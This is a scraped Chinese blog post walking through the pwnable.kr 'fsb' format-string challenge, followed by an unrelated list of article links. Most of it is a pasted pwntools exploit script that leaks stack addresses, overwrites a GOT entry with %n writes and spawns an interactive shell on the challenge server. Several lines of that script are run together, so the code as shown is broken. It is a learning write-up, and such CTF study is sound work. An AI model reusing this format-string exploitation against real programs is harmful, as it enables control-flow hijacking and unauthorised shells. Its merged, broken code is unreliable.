pwnabe之fsb
来源:互联网 发布:混沌与秩序2官网数据 编辑:程序博客网 时间:2024/06/08 01:14
这次是个格式化漏洞
不过特别的在于字符串在不在栈区所以无法直接读写内存,只能通过栈上已有的地址来
大概意思就是输入的内容在栈上只有一个地址,无法改变其他参数
通过参考http://blog.csdn.net/smalosnail/article/details/53705774
可以看到ebp(fsb)指向ebp(main)所以可以通过这个方法更改ebp(main)为got表地址然后再修改ebp(main)
格式化漏洞x64中还要加上5个寄存器
所以参数从%6$lx开始
附上别人的脚本
#!/usr/bin/python
from pwn import *
# context.log_level = 'debug'
# p = process('fsb')
p = ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')
# log.success("recv: " + p.recv(8))
sleep_got =0x0804a008shell = 0x080486ab
payload ="%14$08x%18$08x"# gdb.attach(p,"b *0x8048610")
p.recvuntil('(1)\n')
p.sendline(payload)
esp = int(p.recv(8),16) - 0x50
ebp = int(p.recv(8),16)
offset = (ebp - esp) /4
log.success("esp = " + hex(esp))
log.success("ebp = " + hex(ebp))
log.success("offset = " + str(offset))
payload ="%%%dc"%(sleep_got) + "%18$n"
p.recvuntil('(2)\n')
p.sendline(payload)
payload = ("%%%dc"%(shell&0xffff)) + "%%%d$hn"%(offset)#p.recvuntil('(3)\n')sleep(3)
p.sendline(payload)
payload ="AAAAAAAA"p.recvuntil('(4)\n')
p.sendline(payload)
sleep(4)
p.interactive()
我尝试更改其他got表中的其他函数可以执行,但是我想试图换成ebp(main)下面的eip失败,目前不知道原因,求大佬解答
找到了别人的总结,可能由于地址过大
- pwnabe之fsb
- pwnabe之cmd1
- FSB
- 前端总线频率(FSB)解述
- FSB SSH2配置
- pwnable学习笔记-fsb
- 主板FSB、CPU的FSB之间的关系
- 内存带宽和FSB之间的关系
- 南桥、北桥、FSB、PCI、AGP、PCIE
- FSB Extractor - F…
- FSB Extractor - F…
- FSB Extractor - F…
- FSB Extractor - F…
- FSB Extractor - F…
- FSB Extractor - F…
- FSB Extractor - F…
- FSB Extractor - F…
- FSB Extractor - F…
- 软件工程课程设计问题总结——医院门诊系统(五):判断用户实现的特定页面跳转
- Netty中的ChannelOption
- PYCHARM 缩进和SQL乱码及SQL包含变量
- es6 转es5 webpack babel
- 家族
- pwnabe之fsb
- tree指令
- Win32 API获取AVI视频文件信息
- 全面进阶 H5 直播
- webpack+react+es6环境配置
- 自己实现的parseInt方法
- Tomcat日志级别修改
- Spring bean 原理
- C++虚函数实现机制